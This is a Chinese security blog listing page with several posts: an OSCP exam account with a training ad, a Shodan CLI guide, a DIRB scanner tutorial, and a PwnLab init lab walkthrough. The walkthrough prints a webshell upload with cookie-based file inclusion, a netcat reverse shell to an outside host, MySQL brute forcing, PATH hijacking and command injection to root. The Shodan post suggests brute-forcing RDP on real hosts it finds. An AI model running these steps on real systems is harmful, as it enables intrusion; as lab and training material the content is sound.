首页
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
17,791 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
15,383 阅读
3
泷羽Sec红队培训,OSCP+国际渗透测试专家中级认证
7,140 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
6,794 阅读
5
几个常见的密码字典推荐
6,616 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
195
篇文章
累计收到
2
条评论
首页
导航
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
搜索到
93
篇与
的结果
2025-05-20
什么是OSCP国际渗透测试专家中级认证?
一、OSCP认证是什么?首先介绍下OSCP认证,目前安全技术类的证书有很多,像是CEH,Security+,CISSP等等。除了众多侧重于笔试的安全认证,OSCP(Offensive Security Certified Professional) 是为数不多得到国际认可的安全实战类认证。目前在国外受到广泛认可,在台湾、香港等地区也比较流行,国内刚刚起步,拿到认证的还不是很多,主要集中在安全企业和审计公司。官方介绍:https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/OSCP认证,是一个专门针对Kali Linux渗透测试培训课程的专业认证。该认证机构声称,OSCP认证是一个区别于所有其它认证的考试,考试全程采取手动操作的方式,而不设笔试环节。认证条件:无考试形式:OSCP的认证考试也是另类的存在,考生拥有24小时的时间(实际是23小时45分钟)去完成考试,具体如何分配时间由考生自己决定。题目是5台主机(随机抽取),目标是攻入并拿到最高权限(ROOT/SYSTEM)。基于难度级别,成功执行的攻击会获得相应的积分。24小时结束之后,你还有24小时去完成并提交考试报告(需要详细说明攻击步骤和里程碑截屏来证明确实攻破并获得相应权限)。考试费用:$800美元(30天实验室访问+认证)当然也有更多时长的实验室访问套餐,详情如下,具体选哪个可根据自身情况自行选择:二、课程内容有哪些?OSCP的整个课程还是比较体系化的,涵盖了渗透测试中的大部分内容,内容包括:被动信息收集、主动信息收集、漏洞扫描、缓冲区溢出、Win32缓冲区溢出攻击、Linux缓冲区溢出漏洞、漏洞利用、文件传输、提权、客户端攻击、WEB应用攻击、密码攻击、端口重定向和隧道、Metasploit框架、免杀、渗透测试实战演练等。整个知识框架还算完整,但其中的web应用攻击和缓冲区溢出部分内容感觉还是不够深入,与国内的教程比起来略显简单。web渗透中并没有各种绕过waf的奇淫巧技,缓冲区溢出部分也没有突破系统的各种防护手段……三、学习方式是怎样?目前官方推荐自学,官方会提供教材(约350页的PDF教材)和教学视频(约8小时的mp4视频)以及为学员提供的交流论坛和在线的lab实验室环境。注册、约定lab时间并付款后,官方会在lab开始那天邮件你教材和视频文件的下载链接,并开通论坛账号及实验环境vpn链接,你就可以学习教程并链接lab环境进行实验练习了。其中注册环节可能会遇到一些坑,这里就不细说,可以参考《OSCP认证教程第一集:注册教程》文章。通过自学教程你会掌握渗透测试中的大部分基本技能,在通过lab环境下的实战靶机练习将理论练习实际会对学习的知识有更深入的理解。其中lab环境下大概有53台靶机,靶机上预置了有漏洞的程序或者服务,你需要通过运用教程里学到的技能来获得服务器的最高控制权,并在靶机里获取proof.txt文件。我在买的是30天的ab实验,然而由于一些个人原因并没有投入大量时间,靶机做了20多台。但基本了解了lab环境和漏洞发现及利用的方法。个人认为做练习只是一方面,掌握方法才是学习的关键,因为漏洞是不断出现的,题目是永远做不完的,只有掌握原理及方法才是关键。当然如果有时间还是要尽量多做些lab的,毕竟是花了钱的哈。四、怎么考试呢?通过30天的lab学习后我约了考试,约考的链接会在之前官方发你的邮件中有。我是lab结束后才开始约考的,约考的时候才发现考试空挡已经排到了3周以后……早知道应该提前把考试时间约好,因为刚做完lab的时候状态是最好的,过个3周有些内容已经开始慢慢忘记……考试是在线进行的,并且有视频监考。具体来说就是你在约定的考试时间会收到官方的邮件,会给你一个考试环境的vpn连接文件,使用方法与lab的一样,并告诉你考试题目的IP地址(一般会是5台目标机器),题目满分是100分,70分通过。考试之前是要进行身份确认的,会通过摄像头进行身份的确认,所以你要准备好护照(为什么是护照呢?因为官方会要求政府颁发的、有照片的、英文的证件,国内符合要求的也只有护照了),身份验证后就可以vpn连接考试环境了。我约的是早上8:00的开始,早早的就起来做好了准备,7:45准时进行身份确认,其中遇到了网络不稳的情况,官方那边一开始一直看不到我这边的摄像头,重启了下家里的路由器就好了(也有小伙伴用4G手机热点开始的,因为部分地区的小区宽带连不上考试环境),然后vpn连接进考试环境,网络还算稳定,忙乎到8:30才算正式开始考试答题。我先选择了一道25分的缓冲区溢出的题目,花了大概2个小时,总算完成了poc的编写,拿到了shell,一看还是system权限,稳稳的拿到了proof.txt。其中遇到了一点小波折就是badchars漏了一个字符的,碰巧shellcode里有用到了这个字符,反复调试了好几遍才发现。不过还好没有ASLR、DEP等机制需要破,所以OSCP里面的漏洞挖掘还是比较基础的,因为真正的挖掘是在OSCE认证里,这也是我下一步要搞定的认证啦。解完这道理就有点饿了,然后和监考说了下休息半小时,吃了点水果。从考试开始不光是有摄像头监控的,我们的电脑屏幕监考也是可以看到的,所以当我们离开摄像头,桌面停止操作的时候是要和监考说一下的。半个小时后回来,在和监考打个招呼,发现监考的昵称换了,估计是几个人轮流监考……监考确认好后继续答题,选了另一个25分机器,很快通过一个web程序漏洞拿到了shell,但是只是user权限,找了很多本地提权的exp都没打成功……思路卡住了,果断换了一道10分的,看分值我以为应该是一个送分的题,结果真的是没那么简单,各种枚举都没发现问题,这时候心里有点慌,想换下一道但有不甘心,重新整理思路,重新扫描分析,折腾到傍晚才通过一个服务漏洞拿到了shell,正在我担心要怎么提权的时候,一看是root权限,顿时心情好了很多。到这里已经做出了两道半题目,算了下应该最少有45分了。在做缓冲区溢出的时候,为了节省时间我同时开了nmap跑其他机器的端口信息,简单看了下剩下2台的信息后实在太困了,和监考说了下,就去睡觉了,我还特意问了下去睡觉的话可不可以关机,监考说没问题,我就关了摄像头和电脑,定了闹钟睡了5个小时。醒来先是看了剩下的2个机器,一个隐蔽的web程序可以拿到shell,不出所料是个use权限,又是提权,搞了好久还是没搞定。剩下1台各种尝试,未果……2台20分的机器,我只拿到10分……算了下分数25+10+10+12.5=57.5,于是回过头来做前面那个25分的提权,各种百度无果,无聊中换成谷歌试试,结果还真有意外出现,找到国外一篇文章,研究了下,改了改利用代码,欧耶,成功拿到了system权限。稳了稳心情,默默的计算了下应该正好70分了,一看时间已经到了早上5:00,还剩将近3个小时,因为担心后面写英文报告会被扣分,所以还是想再拿些分数才放心。想到考试指导上说有一次使用msf的机会,想着应该是哪台机器会用得上,我就纠结了,用在那个提权上还是剩下那台呢?最后选择用在最后那台20分的机器上,各种漏洞自动过了一遍……没结果,后悔没写练习和lab的报告了(提交练习和lab报告会给加5分的)。看了下时间,已经没多少时间了,整理下了截图,并确认了下所有提交的proof.txt,然后和监考确认考试结束。这种24小时的考试真的是精疲力尽,又再次确认了下截图,每个flag的截图都有ipconfig或者ifconfig,关键步骤都有截图……然后就放心的睡觉了,因为还有24小时的时间要写一份英文的报告,这是考试的最后一步,也是我最薄弱的部分,睡醒了按照官方的模板,把握做出来的三个半机器的渗透过程都写了出来,当然是用最简单的语法和单词,主要全依赖了谷歌翻译,全篇都是短句,因为截图比较多,通篇用的最多的就是like this然后下面放上截图。整理完报告发现居然写了60多页,最后做成pdf压缩,上传到官方给的url,再把下载连接发给官方指定邮件。报告发送后24小时内会收到一封时间,告诉你已经收到你的报告,5个工作日内将告诉你开始结果。然后我等了5个工作日,在第6个工作日的上午收到了邮件:五、考试难不难?个人认为OSCP还是模拟实战渗透的,不像那些CTF需要各种脑洞大开。如果你在工作中就是做渗透测试的,那应该算是中等难度,如果是初学者,我建议还是需要认真的学完教程,并在lab环境中拿到30台以上的靶机。缓冲区溢出部分难度不大,教程和考试都是属于比较基础的难度。对于我个人来说,提权比较头疼,因为考试之前我也做了准备,网上找了各种提权一条龙的工具包,考试的时候用了发现就是一条虫啊,派的上用场的不多,所这部分还是要多积累,多做练习。总体上来说难度适中,毕竟70分就可以通过。六、备考有什么建议?a.学好英文很重要。不管是报告还是网上查资料,都需要英文的读写能力,如果英文好会有很大帮助。(虽然后来我也有和官方沟通,对于非英语母语的考生报告里的语法和单词错误是不会扣分的。)b.学习的时候要做笔记。考试的时候由于紧张会很容易手忙脚乱,所以提前做好学习笔记很重要,没有思路的时候可以看下笔记也许就有新的发现。c.练习和lab报告。在lab练习期间最好把练习和lab中靶机的渗透过程写成报告,官方说提交练习和lab靶机10台不同漏洞利用的报告会在最终考试成绩上加5分,虽然分数不多,但在关键时候就是救命稻草了。d.多交流。官方也有交流的渠道,如论坛、IRC,当然需要英文沟通了,所以我在这方面就……你们多努力吧。七、哪些好的资料可以分享?我在学习和备考的时候参考的一些不错的资源,汇总如下:注册指南:《OSCP认证教程第一集:注册教程》Linux提权指南:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/Windows提权辅助脚本:https://github.com/pentestmonkey/windows-privesc-check模拟练习平台(跟Lab环境类似):vulnhub、hacktheboxbadchars工具:https://github.com/mgeeky/expdevBadChars还有就是github上可以搜索“OSCP”找到很多资源,但是每个人的基础不一样,别人总结的不一定适合你,建议大家还是多多总结多多交流。——本文转载自freebuf作者:安全圈套的套哥如果有师傅们想要考取这个认证,并且无从下手,或者没有信心,我们提供一对一的专家咨询,以及我们的OSCP培训课程3999元的限时优惠价,在校生立减500元,也就是3499元既可以获得7年红队,OSEP国际渗透测试专家高级认证的一对一教学服务
2025年05月20日
3,291 阅读
0 评论
0 点赞
2025-05-18
【kali笔记】shodan的20种使用方法,信息收集必备
【kali笔记】shodan的20种使用方法,信息收集必备Shodan是专注于搜索互联网连接设备的搜索引擎,能发现和分析设备及其漏洞,被誉为“物联网的搜索引擎”。官网获取APIkey:https://developer.shodan.io/眼睛放大一点,APIkey在右上角查看帮助参数详细 Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据使用init初始化API在命令行中直接显示查询结果,例如搜索有关中国上海的服务器,并且开启了3389端口search直接将查询结果展示在命令行中,默认情况下只显示ip、端口号、主机名和http数据。也可以通过使用–fields来自定义显示内容。比如只显示ip、端口号、组织机构、主机名。# 搜索cn 拥有mysql服务,且包含了nginx服务的主机,并显示在终端中 shodan search --fields ip_str,port,org,hostnames mysql country:cn product:'nginx'搜索结果搜索日本的开启3389端口的服务器使用host可以指定IP地址,查看系统详细信息,地理位置、开放端口等这里也可以查看到漏洞信息,像这种不排除是蜜罐查看各种端口信息,比如3389远程端口开启,就能直接使用海德拉(Hydra)进行RDP协议爆破(请勿用于非法用途,造成的后果自行承担)Hydra使用:搜索设备(华为,思科防火墙之类的)使用stats统计nginx全球分布情况,stats通常用来统计数量使用download把这些分布情况下载下来parse可以用来解析数据,多用于python脚本中。通过vuln参数,用户可以指定一个CVE(Common Vulnerabilities and Exposures,通用漏洞披露)编号,来查找那些已知存在该漏洞的设备或服务。这里举例一个MS17-010(永恒之蓝)漏洞永恒之蓝复现过程:其他用法搜索指定的组织或公司 ,org搜索指定的操作系统/软件/平台搜索指定的IP地址或子网使用count命令获取搜索结果的数量使用myip命令获取自身外部可见的IP地址使用info命令查看自身账户的信息,包括认证的信息使用honeyscore命令查看是否有蜜罐保护,这里没计算出来,可以使用在线地址检测https://honeyscore.shodan.io/统计 cn 中使用了ssl的ip地址,并且服务使用了nginx,开启了3389远程端口的主机数量查找SSL证书已过期的设备,这可能是蜜罐的一种特征使用scan命令提交IP进行在线扫描,这里扫了半天没出来,不知道为什么scan参数 -h查看刚刚扫描的结果 listfacets参数在Shodan中的作用是获取特定搜索查询的统计信息,它允许用户对搜索结果中的某些属性进行分组和计数,以了解这些属性值的分布情况。统计指定网络段内与漏洞(vuln)相关的统计信息,并且限制结果只显示前10个最常见的漏洞指定系统oshttp.title查找HTTP响应中标题(title)字段包含特定文本的设备。这个参数可以帮助用户快速定位到具有特定标题的网页,这在渗透测试中尤其有用,因为某些管理界面或特定服务的页面标题可能包含敏感信息或标识。比如,搜索标题中包含"Login"的设备你懂的本期介绍这么多用法,如果还有其他好用的用法,还请师傅们留言指出,让更多的师傅们学习。往期推荐XSS高级用法,SEO优化,挂ma,MS14_064一款开源持续更新的后渗透免杀框架【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析Win11综合渗透系统,第二个”kali“武器库——文末抽黑神话【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS
2025年05月18日
1,527 阅读
0 评论
0 点赞
2025-05-18
linux进程隐藏
暂无简介
2025年05月18日
1,882 阅读
0 评论
0 点赞
2025-05-18
DIRB:一款强大的Web目录扫描工具使用指南
DIRB是一款广泛使用的开源Web内容扫描工具,它专注于发现Web服务器上存在的目录和文件。对于安全研究员、渗透测试人员以及Web开发者来说,DIRB是一个不可或缺的工具,它能帮助他们识别潜在的入口点,从而进一步评估目标网站的安全性。本文将详细介绍DIRB的基本用法、高级特性、配置选项以及如何在实际渗透测试中有效使用它。一、DIRB简介DIRB(DIR Browser)最初由Pablo Santos开发,自发布以来就因其简单、高效而受到欢迎。DIRB的工作原理是通过发送HTTP GET请求到服务器上的特定目录和文件,并分析响应来判断目录或文件是否存在。它支持多线程,可以快速扫描大量潜在的URL,并且可以自定义请求头和代理设置,增加了其灵活性和实用性。二、安装DIRB在大多数Linux发行版中,DIRB可以通过包管理器轻松安装。例如,在基于Debian的系统上,你可以使用apt-get命令:sudo apt-get update sudo apt-get install dirb对于其他操作系统,你可能需要从DIRB的官方网站或其他可靠的软件仓库下载源代码并自行编译安装,如果是kali操作系统,则可以直接使用。三、基本参数DIRB的基本用法非常简单。启动DIRB时,你需要指定要扫描的URL和用于匹配的字典文件。字典文件包含了可能的目录名和文件名,DIRB将依次尝试访问这些路径。项目Value参数执行效果-a设置user-agent-p<proxy[:port]>设置代理-c设置cookie-z添加毫秒延迟,避免洪水攻击-o输出结果-X在每个字典的后面添加一个后缀-H添加请求头-i不区分大小写搜索示例命令:dirb http://example.com/ -o dirb.txt这个命令会扫描http://example.com/下的所有目录和文件,并将结果输出到dirb.txt文件中。默认情况下,DIRB会使用自带的字典文件(通常位于/usr/share/dirb/wordlists/目录下)进行扫描。四、高级特性1. 自定义请求头DIRB允许你自定义HTTP请求头,这在绕过某些简单的安全机制时非常有用。使用-H参数可以添加自定义请求头。dirb http://example.com/ -H "User-Agent: Custom User-Agent"举例:之前文章https://mp.weixin.qq.com/s/U0z0R_JMdOjIOE_6aEUnvw的401验证扫描不到路径,就可以自定义请求头,防止扫不到路径,比御剑好用多了,自定义一下dirb字典也行kali中默认放在/usr/share/dirb/wordlists/common.txt文件中,命令如下dirb http://example.com -H "Authorization: Basic <base64-encoded-username:password>"2. 使用代理在需要绕过IP封锁或进行匿名扫描时,使用代理是一个好选择。DIRB支持HTTP和SOCKS代理。dirb http://example.com/ -p 8080 -x http://proxy.example.com:80803. 多线程扫描DIRB支持多线程扫描,通过-t参数可以指定线程数。增加线程数可以加快扫描速度,但也可能增加目标服务器的负载。dirb http://example.com/ -t 104. 自定义字典虽然DIRB提供了默认的字典文件,但在某些情况下,你可能需要使用自定义的字典。通过-w参数可以指定自定义字典文件。dirb http://example.com/ -w /path/to/custom_dict.txt五、在实际渗透测试中的应用在实际渗透测试中,DIRB通常用于以下场景:信息收集:在渗透测试的早期阶段,使用DIRB扫描目标网站以收集潜在的有用信息,如管理后台、上传接口等。漏洞探测:某些版本的CMS(内容管理系统)可能存在已知的安全漏洞,通过DIRB扫描可以快速定位到易受攻击的文件或目录。目录遍历防护测试:DIRB可以用来测试Web应用程序是否对目录遍历攻击具有足够的防御能力。六、结论DIRB作为一款强大的Web目录扫描工具,在渗透测试和Web安全评估中发挥着重要作用。通过合理使用DIRB及其高级特性,安全研究人员和渗透测试人员可以更高效地发现Web应用程序中的潜在弱点,为进一步提升系统安全性提供有力支持。然而,值得注意的是,在使用DIRB进行扫描时,应遵守相关法律法规和道德规范,确保测试活动的合法性和合规性。
2025年05月18日
2,620 阅读
0 评论
0 点赞
2025-05-18
PwnLab init-文件包含、反弹shell、提权--靶机渗透思路讲解
如果需要Vulnhub靶机链接,可以后台私信【PwnLab】,关于网安学习群,可以后台添加作者备注【进群】即可首页有一个登录框他没有验证码,我们试试暴力破解开始爆破了,全部失败,哈哈哈nmap全端口扫描试试有mysql服务,再爆破一下数据库,使用MSF框架use auxiliary/scanner/mysql/mysql_login set rhosts 192.168.71.1 //设置目标服务器的ip地址 set rport 3306 //设置目标端口,为MySQL开启的端口号,默认是3306 set username root //设置用户名,默认即为root set pass_file /home/kali/pass.txt //指定密码字典文件的路径 run //开始爆破 爆破失败。。。。。。在url上面有一个page,猜测是文件包含漏洞,我们包含/etc/passwd,没有效果php filter伪协议试试也不行这些都试过了,那么直接包含index呢,出来了index的源码,就可以发现它的包含规则不能包含后缀解码看看,对这个lang的cookie进行文件包含<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. 御剑目录扫描一下包含upload,并base64解码,获取源码<?php session_start(); if (!isset($_SESSION['user'])) { die('你没有登录.'); } ?> <html> <body> <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form> </body> </html> <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".avif"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src=\"".$uploadfile."\"><br />"; } else { die('Error 4'); } } } ?> login源码,我们看到了有一个config.php引用,而且还是在当前目录<?php session_start(); require("config.php"); $mysqli = new mysqli($server, $username, $password, $database); if (isset($_POST['user']) and isset($_POST['pass'])) { $luser = $_POST['user']; $lpass = base64_encode($_POST['pass']); $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?"); $stmt->bind_param('ss', $luser, $lpass); $stmt->execute(); $stmt->store_Result(); if ($stmt->num_rows == 1) { $_SESSION['user'] = $luser; header('Location: ?page=upload'); } else { echo "Login failed."; } } else { ?> <form action="" method="POST"> <label>用户名: </label><input id="user" type="test" name="user"><br /> <label>密 码: </label><input id="pass" type="password" name="pass"><br /> <input type="submit" name="submit" value="Login"> </form> <?php } config包含解码,好有了mysql密码mysql连接指定好数据库找到指定表名就能看到用户密码了,密码有==号的话,那么大概率就是base64编码解码登录试试登录成功了,只允许图片上传我们分析之前找到的文件上传源码,是白名单<?php session_start(); if (!isset($_SESSION['user'])) { die('你没有登录.'); } ?> <html> <body> <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form> </body> </html> <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".avif"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src=\"".$uploadfile."\"><br />"; } else { die('Error 4'); } } } ?> 图片马gif正常上传我们用dirb扫到一个目录gif上传成功伪协议包含不成功分析index.php源代码,它对cookie的值作为路径,这个参数为lang<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. 那我们就添加一个cookielang=../upload/66c30a7180c399c3188ff89f1e2c5c02.gif此时回到首页蚁剑连接试试这里不要忘了添加cookie反弹测试nc,有e参数,可以用nc反弹shellnc 10.0.0.190 80 -e /bin/bash 反弹成功终端升级echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py 切换root账号,弱口令成功了。。。。如果不用弱口令,正常情况是这样的,找到数据库中的密码和用户猜测这个用户能用登录该系统,但是登录成功后,没什么利用价值切换用户kane,里面有一个msgmike文件,查看它,这有一个命令查看这个文件没有权限我们切换这个mike用户,不能登录,鉴权失败,我们也就无法查看这个文件然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,则会先从当前目录来寻找cat指令,相当于我们自己创建一个读文件的cat指令,用这个指令来读新建取/home/mike/msg.txt文件,我们新建一个cat文件,并添加执行权限,依次执行以下命令这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),我们就会提升到mike权限:我们切换这个用户的跟目录发现有个msg2root查看发现一个bin/bash会话,不断尝试,直到如下结果; /bin/bash -p才能够以root的权限查看flag.txt往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
2025年05月18日
1,281 阅读
0 评论
0 点赞
1
...
10
11
12
...
19